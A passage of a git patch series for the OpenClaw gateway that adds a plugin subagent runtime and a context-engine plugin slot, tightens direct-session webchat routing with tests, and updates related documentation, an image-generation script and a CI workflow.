gatewayClient of clients) { + const scopes = Array.isArray(gatewayClient.connect.scopes) + ? gatewayClient.connect.scopes + : []; + if (scopes.includes("operator.admin") || scopes.includes("operator.approvals")) { + return true; + } + } + return false; + }, + nodeRegistry, + agentRunSeq, + chatAbortControllers, + chatAbortedRuns: chatRunState.abortedRuns, + chatRunBuffers: chatRunState.buffers, + chatDeltaSentAt: chatRunState.deltaSentAt, + addChatRun, + removeChatRun, + registerToolEventRecipient: toolEventRecipients.add, + dedupe, + wizardSessions, + findRunningWizard, + purgeWizardSession, + getRuntimeSnapshot, + startChannel, + stopChannel, + markChannelLoggedOut, + wizardRunner, + broadcastVoiceWakeChanged, + }; + + // Store the gateway context as a fallback for plugin subagent dispatch + // in non-WS paths (Telegram polling, WhatsApp, etc.) where no per-request + // scope is set via AsyncLocalStorage. + setFallbackGatewayContext(gatewayRequestContext); + attachGatewayWsHandlers({ wss, clients, @@ -800,57 +857,7 @@ export async function startGatewayServer( ...secretsHandlers, }, broadcast, - context: { - deps, - cron, - cronStorePath, - execApprovalManager, - loadGatewayModelCatalog, - getHealthCache, - refreshHealthSnapshot: refreshGatewayHealthSnapshot, - logHealth, - logGateway: log, - incrementPresenceVersion, - getHealthVersion, - broadcast, - broadcastToConnIds, - nodeSendToSession, - nodeSendToAllSubscribed, - nodeSubscribe, - nodeUnsubscribe, - nodeUnsubscribeAll, - hasConnectedMobileNode: hasMobileNodeConnected, - hasExecApprovalClients: () => { - for (const gatewayClient of clients) { - const scopes = Array.isArray(gatewayClient.connect.scopes) - ? gatewayClient.connect.scopes - : []; - if (scopes.includes("operator.admin") || scopes.includes("operator.approvals")) { - return true; - } - } - return false; - }, - nodeRegistry, - agentRunSeq, - chatAbortControllers, - chatAbortedRuns: chatRunState.abortedRuns, - chatRunBuffers: chatRunState.buffers, - chatDeltaSentAt: chatRunState.deltaSentAt, - addChatRun, - removeChatRun, - registerToolEventRecipient: toolEventRecipients.add, - dedupe, - wizardSessions, - findRunningWizard, - purgeWizardSession, - getRuntimeSnapshot, - startChannel, - stopChannel, - markChannelLoggedOut, - wizardRunner, - broadcastVoiceWakeChanged, - }, + context: gatewayRequestContext, }); logGatewayStartup({ cfg: cfgAtStart, diff --git a/src/plugin-sdk/index.ts b/src/plugin-sdk/index.ts index 2b8fc8e7a63..07b0846cddb 100644 --- a/src/plugin-sdk/index.ts +++ b/src/plugin-sdk/index.ts @@ -109,7 +109,19 @@ export type { GatewayRequestHandlerOptions, RespondFn, } from "../gateway/server-methods/types.js"; -export type { PluginRuntime, RuntimeLogger } from "../plugins/runtime/types.js"; +export type { + PluginRuntime, + RuntimeLogger, + SubagentRunParams, + SubagentRunResult, + SubagentWaitParams, + SubagentWaitResult, + SubagentGetSessionMessagesParams, + SubagentGetSessionMessagesResult, + SubagentGetSessionParams, + SubagentGetSessionResult, + SubagentDeleteSessionParams, +} from "../plugins/runtime/types.js"; export { normalizePluginHttpPath } from "../plugins/http-path.js"; export { registerPluginHttpRoute } from "../plugins/http-registry.js"; export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; @@ -695,5 +707,20 @@ export type { ProcessedLineMessage } from "../line/markdown-to-line.js"; // Media utilities export { loadWebMedia, type WebMediaResult } from "../web/media.js"; +// Context engine +export type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, + IngestBatchResult, + BootstrapResult, + SubagentSpawnPreparation, + SubagentEndReason, +} from "../context-engine/types.js"; +export { registerContextEngine } from "../context-engine/registry.js"; +export type { ContextEngineFactory } from "../context-engine/registry.js"; + // Security utilities export { redactSensitiveText } from "../logging/redact.js"; diff --git a/src/plugins/loader.ts b/src/plugins/loader.ts index 482eeead5de..15051b25e81 100644 --- a/src/plugins/loader.ts +++ b/src/plugins/loader.ts @@ -21,7 +21,7 @@ import { loadPluginManifestRegistry } from "./manifest-registry.js"; import { isPathInside, safeStatSync } from "./path-safety.js"; import { createPluginRegistry, type PluginRecord, type PluginRegistry } from "./registry.js"; import { setActivePluginRegistry } from "./runtime.js"; -import { createPluginRuntime } from "./runtime/index.js"; +import { createPluginRuntime, type CreatePluginRuntimeOptions } from "./runtime/index.js"; import type { PluginRuntime } from "./runtime/types.js"; import { validateJsonSchemaValue } from "./schema-validator.js"; import type { @@ -38,6 +38,7 @@ export type PluginLoadOptions = { workspaceDir?: string; logger?: PluginLogger; coreGatewayHandlers?: Record; + runtimeOptions?: CreatePluginRuntimeOptions; cache?: boolean; mode?: "full" | "validate"; }; @@ -503,7 +504,7 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi // not eagerly load every channel runtime dependency. let resolvedRuntime: PluginRuntime | null = null; const resolveRuntime = (): PluginRuntime => { - resolvedRuntime ??= createPluginRuntime(); + resolvedRuntime ??= createPluginRuntime(options.runtimeOptions); return resolvedRuntime; }; const runtime = new Proxy({} as PluginRuntime, { diff --git a/src/plugins/registry.ts b/src/plugins/registry.ts index fde8d0e6a6d..9fc797ab235 100644 --- a/src/plugins/registry.ts +++ b/src/plugins/registry.ts @@ -2,6 +2,7 @@ import path from "node:path"; import type { AnyAgentTool } from "../agents/tools/common.js"; import type { ChannelDock } from "../channels/dock.js"; import type { ChannelPlugin } from "../channels/plugins/types.js"; +import { registerContextEngine } from "../context-engine/registry.js"; import type { GatewayRequestHandler, GatewayRequestHandlers, @@ -582,6 +583,7 @@ export function createPluginRegistry(registryParams: PluginRegistryParams) { registerCli: (registrar, opts) => registerCli(record, registrar, opts), registerService: (service) => registerService(record, service), registerCommand: (command) => registerCommand(record, command), + registerContextEngine: (id, factory) => registerContextEngine(id, factory), resolvePath: (input: string) => resolveUserPath(input), on: (hookName, handler, opts) => registerTypedHook(record, hookName, handler, opts, params.hookPolicy), diff --git a/src/plugins/runtime/gateway-request-scope.test.ts b/src/plugins/runtime/gateway-request-scope.test.ts new file mode 100644 index 00000000000..ef31350e2a3 --- /dev/null +++ b/src/plugins/runtime/gateway-request-scope.test.ts @@ -0,0 +1,23 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { PluginRuntimeGatewayRequestScope } from "./gateway-request-scope.js"; + +const TEST_SCOPE: PluginRuntimeGatewayRequestScope = { + context: {} as PluginRuntimeGatewayRequestScope["context"], + isWebchatConnect: (() => false) as PluginRuntimeGatewayRequestScope["isWebchatConnect"], +}; + +afterEach(() => { + vi.resetModules(); +}); + +describe("gateway request scope", () => { + it("reuses AsyncLocalStorage across reloaded module instances", async () => { + const first = await import("./gateway-request-scope.js"); + + await first.withPluginRuntimeGatewayRequestScope(TEST_SCOPE, async () => { + vi.resetModules(); + const second = await import("./gateway-request-scope.js"); + expect(second.getPluginRuntimeGatewayRequestScope()).toEqual(TEST_SCOPE); + }); + }); +}); diff --git a/src/plugins/runtime/gateway-request-scope.ts b/src/plugins/runtime/gateway-request-scope.ts new file mode 100644 index 00000000000..11ed9cb4980 --- /dev/null +++ b/src/plugins/runtime/gateway-request-scope.ts @@ -0,0 +1,46 @@ +import { AsyncLocalStorage } from "node:async_hooks"; +import type { + GatewayRequestContext, + GatewayRequestOptions, +} from "../../gateway/server-methods/types.js"; + +export type PluginRuntimeGatewayRequestScope = { + context: GatewayRequestContext; + isWebchatConnect: GatewayRequestOptions["isWebchatConnect"]; +}; + +const PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY: unique symbol = Symbol.for( + "openclaw.pluginRuntimeGatewayRequestScope", +); + +const pluginRuntimeGatewayRequestScope = (() => { + const globalState = globalThis as typeof globalThis & { + [PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY]?: AsyncLocalStorage; + }; + const existing = globalState[PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY]; + if (existing) { + return existing; + } + const created = new AsyncLocalStorage(); + globalState[PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY] = created; + return created; +})(); + +/** + * Runs plugin gateway handlers with request-scoped context that runtime helpers can read. + */ +export function withPluginRuntimeGatewayRequestScope( + scope: PluginRuntimeGatewayRequestScope, + run: () => T, +): T { + return pluginRuntimeGatewayRequestScope.run(scope, run); +} + +/** + * Returns the current plugin gateway request scope when called from a plugin request handler. + */ +export function getPluginRuntimeGatewayRequestScope(): + | PluginRuntimeGatewayRequestScope + | undefined { + return pluginRuntimeGatewayRequestScope.getStore(); +} diff --git a/src/plugins/runtime/index.ts b/src/plugins/runtime/index.ts index 3db2f68ad92..68b672db1b4 100644 --- a/src/plugins/runtime/index.ts +++ b/src/plugins/runtime/index.ts @@ -28,10 +28,28 @@ function resolveVersion(): string { } } -export function createPluginRuntime(): PluginRuntime { +function createUnavailableSubagentRuntime(): PluginRuntime["subagent"] { + const unavailable = () => { + throw new Error("Plugin runtime subagent methods are only available during a gateway request."); + }; + return { + run: unavailable, + waitForRun: unavailable, + getSessionMessages: unavailable, + getSession: unavailable, + deleteSession: unavailable, + }; +} + +export type CreatePluginRuntimeOptions = { + subagent?: PluginRuntime["subagent"]; +}; + +export function createPluginRuntime(_options: CreatePluginRuntimeOptions = {}): PluginRuntime { const runtime = { version: resolveVersion(), config: createRuntimeConfig(), + subagent: _options.subagent ?? createUnavailableSubagentRuntime(), system: createRuntimeSystem(), media: createRuntimeMedia(), tts: { textToSpeechTelephony }, diff --git a/src/plugins/runtime/types.ts b/src/plugins/runtime/types.ts index 275bb7cba9a..245e8dd1274 100644 --- a/src/plugins/runtime/types.ts +++ b/src/plugins/runtime/types.ts @@ -3,6 +3,61 @@ import type { PluginRuntimeCore, RuntimeLogger } from "./types-core.js"; export type { RuntimeLogger }; +// ── Subagent runtime types ────────────────────────────────────────── + +export type SubagentRunParams = { + sessionKey: string; + message: string; + extraSystemPrompt?: string; + lane?: string; + deliver?: boolean; + idempotencyKey?: string; +}; + +export type SubagentRunResult = { + runId: string; +}; + +export type SubagentWaitParams = { + runId: string; + timeoutMs?: number; +}; + +export type SubagentWaitResult = { + status: "ok" | "error" | "timeout"; + error?: string; +}; + +export type SubagentGetSessionMessagesParams = { + sessionKey: string; + limit?: number; +}; + +export type SubagentGetSessionMessagesResult = { + messages: unknown[]; +}; + +/** @deprecated Use SubagentGetSessionMessagesParams. */ +export type SubagentGetSessionParams = SubagentGetSessionMessagesParams; + +/** @deprecated Use SubagentGetSessionMessagesResult. */ +export type SubagentGetSessionResult = SubagentGetSessionMessagesResult; + +export type SubagentDeleteSessionParams = { + sessionKey: string; + deleteTranscript?: boolean; +}; + export type PluginRuntime = PluginRuntimeCore & { + subagent: { + run: (params: SubagentRunParams) => Promise; + waitForRun: (params: SubagentWaitParams) => Promise; + getSessionMessages: ( + params: SubagentGetSessionMessagesParams, + ) => Promise; + /** @deprecated Use getSessionMessages. */ + getSession: (params: SubagentGetSessionParams) => Promise; + deleteSession: (params: SubagentDeleteSessionParams) => Promise; + }; channel: PluginRuntimeChannel; }; diff --git a/src/plugins/slots.ts b/src/plugins/slots.ts index 8fee7172a2e..bcbbdd44a03 100644 --- a/src/plugins/slots.ts +++ b/src/plugins/slots.ts @@ -11,10 +11,12 @@ type SlotPluginRecord = { const SLOT_BY_KIND: Record = { memory: "memory", + "context-engine": "contextEngine", }; const DEFAULT_SLOT_BY_KEY: Record = { memory: "memory-core", + contextEngine: "legacy", }; export function slotKeyForPluginKind(kind?: PluginKind): PluginSlotKey | null { diff --git a/src/plugins/types.ts b/src/plugins/types.ts index 1cb2779e8c2..32f8a545038 100644 --- a/src/plugins/types.ts +++ b/src/plugins/types.ts @@ -35,7 +35,7 @@ export type PluginConfigUiHint = { placeholder?: string; }; -export type PluginKind = "memory"; +export type PluginKind = "memory" | "context-engine"; export type PluginConfigValidation = | { ok: true; value?: unknown } @@ -285,6 +285,11 @@ export type OpenClawPluginApi = { * Use this for simple state-toggling or status commands that don't need AI reasoning. */ registerCommand: (command: OpenClawPluginCommandDefinition) => void; + /** Register a context engine implementation (exclusive slot — only one active at a time). */ + registerContextEngine: ( + id: string, + factory: import("../context-engine/registry.js").ContextEngineFactory, + ) => void; resolvePath: (input: string) => string; /** Register a lifecycle hook handler */ on: ( diff --git a/test/scripts/ios-team-id.test.ts b/test/scripts/ios-team-id.test.ts index f2a9037f020..2496073951c 100644 --- a/test/scripts/ios-team-id.test.ts +++ b/test/scripts/ios-team-id.test.ts @@ -96,7 +96,7 @@ function runScript( const binDir = path.join(homeDir, "bin"); const env = { HOME: homeDir, - PATH: `${binDir}:${sharedBinDir}:${BASE_PATH}`, + PATH: `${binDir}${path.delimiter}${sharedBinDir}${path.delimiter}${BASE_PATH}`, LANG: BASE_LANG, ...extraEnv, }; From 9fed9f13023091b7d0d9d883113bc35a75a6f082 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:53:16 -0500 Subject: [PATCH 008/844] fix(session): tighten direct-session webchat routing matching (#37867) * fix(session): require strict direct key routing shapes * test(session): cover direct route poisoning cases --- src/auto-reply/reply/session-delivery.test.ts | 56 +++++++++++++++++++ src/auto-reply/reply/session-delivery.ts | 40 ++++++++++++- 2 files changed, 94 insertions(+), 2 deletions(-) create mode 100644 src/auto-reply/reply/session-delivery.test.ts diff --git a/src/auto-reply/reply/session-delivery.test.ts b/src/auto-reply/reply/session-delivery.test.ts new file mode 100644 index 00000000000..2bfb4812f64 --- /dev/null +++ b/src/auto-reply/reply/session-delivery.test.ts @@ -0,0 +1,56 @@ +import { describe, expect, it } from "vitest"; +import { resolveLastChannelRaw, resolveLastToRaw } from "./session-delivery.js"; + +describe("session delivery direct-session routing overrides", () => { + it.each([ + "agent:main:direct:user-1", + "agent:main:telegram:direct:123456", + "agent:main:telegram:account-a:direct:123456", + "agent:main:telegram:dm:123456", + "agent:main:telegram:direct:123456:thread:99", + "agent:main:telegram:account-a:direct:123456:topic:ops", + ])("lets webchat override persisted routes for strict direct key %s", (sessionKey) => { + expect( + resolveLastChannelRaw({ + originatingChannelRaw: "webchat", + persistedLastChannel: "telegram", + sessionKey, + }), + ).toBe("webchat"); + expect( + resolveLastToRaw({ + originatingChannelRaw: "webchat", + originatingToRaw: "session:dashboard", + persistedLastChannel: "telegram", + persistedLastTo: "123456", + sessionKey, + }), + ).toBe("session:dashboard"); + }); + + it.each([ + "agent:main:main:direct", + "agent:main:cron:job-1:dm", + "agent:main:subagent:worker:direct:user-1", + "agent:main:telegram:channel:direct", + "agent:main:telegram:account-a:direct", + "agent:main:telegram:direct:123456:cron:job-1", + ])("keeps persisted external routes for malformed direct-like key %s", (sessionKey) => { + expect( + resolveLastChannelRaw({ + originatingChannelRaw: "webchat", + persistedLastChannel: "telegram", + sessionKey, + }), + ).toBe("telegram"); + expect( + resolveLastToRaw({ + originatingChannelRaw: "webchat", + originatingToRaw: "session:dashboard", + persistedLastChannel: "telegram", + persistedLastTo: "group:12345", + sessionKey, + }), + ).toBe("group:12345"); + }); +}); diff --git a/src/auto-reply/reply/session-delivery.ts b/src/auto-reply/reply/session-delivery.ts index 86370f544ef..ef2f0cde227 100644 --- a/src/auto-reply/reply/session-delivery.ts +++ b/src/auto-reply/reply/session-delivery.ts @@ -1,6 +1,6 @@ import type { SessionEntry } from "../../config/sessions.js"; import { buildAgentMainSessionKey } from "../../routing/session-key.js"; -import { deriveSessionChatType, parseAgentSessionKey } from "../../sessions/session-key-utils.js"; +import { parseAgentSessionKey } from "../../sessions/session-key-utils.js"; import { deliveryContextFromSession, deliveryContextKey, @@ -38,8 +38,44 @@ function isMainSessionKey(sessionKey?: string): boolean { return parsed.rest.trim().toLowerCase() === "main"; } +const DIRECT_SESSION_MARKERS = new Set(["direct", "dm"]); +const THREAD_SESSION_MARKERS = new Set(["thread", "topic"]); + +function hasStrictDirectSessionTail(parts: string[], markerIndex: number): boolean { + const peerId = parts[markerIndex + 1]?.trim(); + if (!peerId) { + return false; + } + const tail = parts.slice(markerIndex + 2); + if (tail.length === 0) { + return true; + } + return tail.length === 2 && THREAD_SESSION_MARKERS.has(tail[0] ?? "") && Boolean(tail[1]?.trim()); +} + function isDirectSessionKey(sessionKey?: string): boolean { - return deriveSessionChatType(sessionKey) === "direct"; + const raw = (sessionKey ?? "").trim().toLowerCase(); + if (!raw) { + return false; + } + const scoped = parseAgentSessionKey(raw)?.rest ?? raw; + const parts = scoped.split(":").filter(Boolean); + if (parts.length < 2) { + return false; + } + if (DIRECT_SESSION_MARKERS.has(parts[0] ?? "")) { + return hasStrictDirectSessionTail(parts, 0); + } + const channel = normalizeMessageChannel(parts[0]); + if (!channel || !isDeliverableMessageChannel(channel)) { + return false; + } + if (DIRECT_SESSION_MARKERS.has(parts[1] ?? "")) { + return hasStrictDirectSessionTail(parts, 1); + } + return Boolean(parts[1]?.trim()) && DIRECT_SESSION_MARKERS.has(parts[2] ?? "") + ? hasStrictDirectSessionTail(parts, 2) + : false; } function isExternalRoutingChannel(channel?: string): channel is string { From e88f6605ec9768005f57e4ec5fd4f208b2fb4a6a Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:52:42 -0500 Subject: [PATCH 009/844] docs(tools): document slash-delimited config schema lookup paths --- docs/tools/index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/tools/index.md b/docs/tools/index.md index c12cf5f68c5..2418cf88688 100644 --- a/docs/tools/index.md +++ b/docs/tools/index.md @@ -461,7 +461,8 @@ Core actions: Notes: -- `config.schema.lookup` expects a targeted dot path such as `gateway.auth` or `agents.list.*.heartbeat`. +- `config.schema.lookup` expects a targeted config path such as `gateway.auth` or `agents.list.*.heartbeat`. +- Paths may include slash-delimited plugin ids when addressing `plugins.entries.`, for example `plugins.entries.pack/one.config`. - Use `delayMs` (defaults to 2000) to avoid interrupting an in-flight reply. - `config.schema` remains available to internal Control UI flows and is not exposed through the agent `gateway` tool. - `restart` is enabled by default; set `commands.restart: false` to disable it. From f788ba142a08d15cad298ffc9a705f967d4666a4 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:52:50 -0500 Subject: [PATCH 010/844] docs(protocol): document slash-delimited schema lookup plugin ids --- docs/experiments/onboarding-config-protocol.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/experiments/onboarding-config-protocol.md b/docs/experiments/onboarding-config-protocol.md index 424f7726e20..9427d47b7f6 100644 --- a/docs/experiments/onboarding-config-protocol.md +++ b/docs/experiments/onboarding-config-protocol.md @@ -24,6 +24,7 @@ Purpose: shared onboarding + config surfaces across CLI, macOS app, and Web UI. - `wizard.status` params: `{ sessionId }` - `config.schema` params: `{}` - `config.schema.lookup` params: `{ path }` + - `path` accepts standard config segments plus slash-delimited plugin ids, for example `plugins.entries.pack/one.config`. Responses (shape) From eb2eebae22bb2eba9d0ddbd77a1da4d0b5ab218d Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:52:56 -0500 Subject: [PATCH 011/844] docs(plugins): document context engine slots and registration --- docs/tools/plugin.md | 51 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 4a20ec0c37c..087c89d38dc 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -393,13 +393,29 @@ Some plugin categories are **exclusive** (only one active at a time). Use plugins: { slots: { memory: "memory-core", // or "none" to disable memory plugins + contextEngine: "legacy", // or a plugin id such as "lossless-claw" }, }, } ``` -If multiple plugins declare `kind: "memory"`, only the selected one loads. Others -are disabled with diagnostics. +Supported exclusive slots: + +- `memory`: active memory plugin (`"none"` disables memory plugins) +- `contextEngine`: active context engine plugin (`"legacy"` is the built-in default) + +If multiple plugins declare `kind: "memory"` or `kind: "context-engine"`, only +the selected plugin loads for that slot. Others are disabled with diagnostics. + +### Context engine plugins + +Context engine plugins own session context orchestration for ingest, assembly, +and compaction. Register them from your plugin with +`api.registerContextEngine(id, factory)`, then select the active engine with +`plugins.slots.contextEngine`. + +Use this when your plugin needs to replace or extend the default context +pipeline rather than just add memory search or hooks. ## Control UI (schema + labels) @@ -465,6 +481,37 @@ Plugins export either: - A function: `(api) => { ... }` - An object: `{ id, name, configSchema, register(api) { ... } }` +Context engine plugins can also register a runtime-owned context manager: + +```ts +export default function (api) { + api.registerContextEngine("lossless-claw", () => ({ + info: { id: "lossless-claw", name: "Lossless Claw", ownsCompaction: true }, + async ingest() { + return { ingested: true }; + }, + async assemble({ messages }) { + return { messages, estimatedTokens: 0 }; + }, + async compact() { + return { ok: true, compacted: false }; + }, + })); +} +``` + +Then enable it in config: + +```json5 +{ + plugins: { + slots: { + contextEngine: "lossless-claw", + }, + }, +} +``` + ## Plugin hooks Plugins can register hooks at runtime. This lets a plugin bundle event-driven From 7cc3376f07ad0017dd656f42b017a3ba4db65561 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:53:05 -0500 Subject: [PATCH 012/844] docs(plugins): add context-engine manifest kind example --- docs/plugins/manifest.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/plugins/manifest.md b/docs/plugins/manifest.md index 77fc543a643..d5ea2a28b2d 100644 --- a/docs/plugins/manifest.md +++ b/docs/plugins/manifest.md @@ -35,7 +35,7 @@ Required keys: Optional keys: -- `kind` (string): plugin kind (example: `"memory"`). +- `kind` (string): plugin kind (examples: `"memory"`, `"context-engine"`). - `channels` (array): channel ids registered by this plugin (example: `["matrix"]`). - `providers` (array): provider ids registered by this plugin. - `skills` (array): skill directories to load (relative to the plugin root). From 5470337b1c11e5a6c3f077859e9df4a6ba16ed36 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:53:14 -0500 Subject: [PATCH 013/844] docs(config): list the context engine plugin slot --- docs/gateway/configuration-reference.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/gateway/configuration-reference.md b/docs/gateway/configuration-reference.md index bd4406718d9..e204be9b7b5 100644 --- a/docs/gateway/configuration-reference.md +++ b/docs/gateway/configuration-reference.md @@ -2313,6 +2313,7 @@ See [Local Models](/gateway/local-models). TL;DR: run MiniMax M2.5 via LM Studio - `plugins.entries..hooks.allowPromptInjection`: when `false`, core blocks `before_prompt_build` and ignores prompt-mutating fields from legacy `before_agent_start`, while preserving legacy `modelOverride` and `providerOverride`. - `plugins.entries..config`: plugin-defined config object (validated by plugin schema). - `plugins.slots.memory`: pick the active memory plugin id, or `"none"` to disable memory plugins. +- `plugins.slots.contextEngine`: pick the active context engine plugin id; defaults to `"legacy"` unless you install and select another engine. - `plugins.installs`: CLI-managed install metadata used by `openclaw plugins update`. - Includes `source`, `spec`, `sourcePath`, `installPath`, `version`, `resolvedName`, `resolvedVersion`, `resolvedSpec`, `integrity`, `shasum`, `resolvedAt`, `installedAt`. - Treat `plugins.installs.*` as managed state; prefer CLI commands over manual edits. From 151f26070b04db162fe5afb515cfc4bbc5f4325d Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 08:55:58 -0500 Subject: [PATCH 014/844] docs: context engine --- docs/concepts/context.md | 6 ++++++ docs/plugins/manifest.md | 4 ++++ docs/tools/plugin.md | 2 ++ 3 files changed, 12 insertions(+) diff --git a/docs/concepts/context.md b/docs/concepts/context.md index d7a16fa70fa..abc5e5af47c 100644 --- a/docs/concepts/context.md +++ b/docs/concepts/context.md @@ -153,6 +153,12 @@ What persists across messages depends on the mechanism: Docs: [Session](/concepts/session), [Compaction](/concepts/compaction), [Session pruning](/concepts/session-pruning). +By default, OpenClaw uses the built-in `legacy` context engine for assembly and +compaction. If you install a plugin that provides `kind: "context-engine"` and +select it with `plugins.slots.contextEngine`, OpenClaw delegates context +assembly, `/compact`, and related subagent context lifecycle hooks to that +engine instead. + ## What `/context` actually reports `/context` prefers the latest **run-built** system prompt report when available: diff --git a/docs/plugins/manifest.md b/docs/plugins/manifest.md index d5ea2a28b2d..d23f036880a 100644 --- a/docs/plugins/manifest.md +++ b/docs/plugins/manifest.md @@ -66,6 +66,10 @@ Optional keys: - The manifest is **required for all plugins**, including local filesystem loads. - Runtime still loads the plugin module separately; the manifest is only for discovery + validation. +- Exclusive plugin kinds are selected through `plugins.slots.*`. + - `kind: "memory"` is selected by `plugins.slots.memory`. + - `kind: "context-engine"` is selected by `plugins.slots.contextEngine` + (default: built-in `legacy`). - If your plugin depends on native modules, document the build steps and any package-manager allowlist requirements (for example, pnpm `allow-build-scripts` - `pnpm rebuild `). diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 087c89d38dc..f40a0540a42 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -66,6 +66,7 @@ Plugins can register: - Agent tools - CLI commands - Background services +- Context engines - Optional config validation - **Skills** (by listing `skills` directories in the plugin manifest) - **Auto-reply commands** (execute without invoking the AI agent) @@ -370,6 +371,7 @@ Fields: - `allow`: allowlist (optional) - `deny`: denylist (optional; deny wins) - `load.paths`: extra plugin files/dirs +- `slots`: exclusive slot selectors such as `memory` and `contextEngine` - `entries.`: per‑plugin toggles + config Config changes **require a gateway restart**. From 86a89d96d7cb22048a3528462ad2e10907f9b032 Mon Sep 17 00:00:00 2001 From: ABFS Tech <82096803+QuantDeveloperUSA@users.noreply.github.com> Date: Fri, 6 Mar 2026 10:29:06 -0500 Subject: [PATCH 015/844] fix(nano-banana-pro): remove space after MEDIA: token in generate_image.py (#18706) The MEDIA: output token must appear at line start with no space after the colon for OpenClaw's splitMediaFromOutput parser to extract the file path and auto-attach media on outbound chat channels (Discord, Telegram, WhatsApp, etc.). The script was printing 'MEDIA: /path' (with space), which while tolerated by the regex, does not match the canonical 'MEDIA:/path' format used by all other skills (e.g. openai-image-gen) and tested in the codebase (pi-embedded-subscribe.tools.media.test.ts, media/parse.test.ts). Also updated the comment to clarify the format constraint. --- skills/nano-banana-pro/scripts/generate_image.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/skills/nano-banana-pro/scripts/generate_image.py b/skills/nano-banana-pro/scripts/generate_image.py index cb470b384c9..e13502e08bd 100755 --- a/skills/nano-banana-pro/scripts/generate_image.py +++ b/skills/nano-banana-pro/scripts/generate_image.py @@ -192,8 +192,9 @@ def main(): if image_saved: full_path = output_path.resolve() print(f"\nImage saved: {full_path}") - # OpenClaw parses MEDIA tokens and will attach the file on supported providers. - print(f"MEDIA: {full_path}") + # OpenClaw parses MEDIA: tokens (line-start, no space after colon) + # and will attach the file on supported chat providers. + print(f"MEDIA:{full_path}") else: print("Error: No image was generated in the response.", file=sys.stderr) sys.exit(1) From a820c63912d0f1bcd16a8a74f228d83509ff5e86 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 10:40:37 -0500 Subject: [PATCH 016/844] CI: drop unused install-smoke bootstrap --- .github/workflows/install-smoke.yml | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 1d36523d60a..2f16f294daf 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -33,22 +33,6 @@ jobs: - name: Checkout CLI uses: actions/checkout@v4 - - name: Setup Node.js - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 - with: - node-version: 22.x - check-latest: true - - - name: Setup pnpm + cache store - uses: ./.github/actions/setup-pnpm-store-cache - with: - pnpm-version: "10.23.0" - cache-key-suffix: "node22" - use-sticky-disk: "true" - - - name: Install pnpm deps (minimal) - run: pnpm install --ignore-scripts --frozen-lockfile - - name: Set up Docker Builder uses: useblacksmith/setup-docker-builder@v1 @@ -65,4 +49,4 @@ jobs: CLAWDBOT_INSTALL_SMOKE_SKIP_CLI: "1" CLAWDBOT_INSTALL_SMOKE_SKIP_NONROOT: ${{ github.event_name == 'pull_request' && '1' || '0' }} CLAWDBOT_INSTALL_SMOKE_SKIP_PREVIOUS: "1" - run: pnpm test:install:smoke + run: bash scripts/test-install-sh-docker.sh From 37a3fb0f860d576ddd84471e70645b8fa60ef8bb Mon Sep 17 00:00:00 2001 From: Mark Zhang Date: Fri, 6 Mar 2026 23:44:54 +0800 Subject: [PATCH 017/844] nano-banana-pro: respect explicit --resolution when editing images (#36880) * nano-banana-pro: respect explicit --resolution when editing images * Changelog: note nano banana resolution fix * Update CHANGELOG.md --------- Co-authored-by: Vincent Koc --- CHANGELOG.md | 1 + .../nano-banana-pro/scripts/generate_image.py | 53 ++++++++++++++----- .../scripts/test_generate_image.py | 36 +++++++++++++ 3 files changed, 77 insertions(+), 13 deletions(-) create mode 100644 skills/nano-banana-pro/scripts/test_generate_image.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 0621c2389de..51e319f631f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -196,6 +196,7 @@ Docs: https://docs.openclaw.ai - Agents/gateway config guidance: stop exposing `config.schema` through the agent `gateway` tool, remove prompt/docs guidance that told agents to call it, and keep agents on `config.get` plus `config.patch`/`config.apply` for config changes. (#7382) thanks @kakuteki. - Agents/failover: classify periodic provider limit exhaustion text (for example `Weekly/Monthly Limit Exhausted`) as `rate_limit` while keeping explicit `402 Payment Required` variants in billing, so failover continues without misclassifying billing-wrapped quota errors. (#33813) thanks @zhouhe-xydt. - Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. +- Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. ## 2026.3.2 diff --git 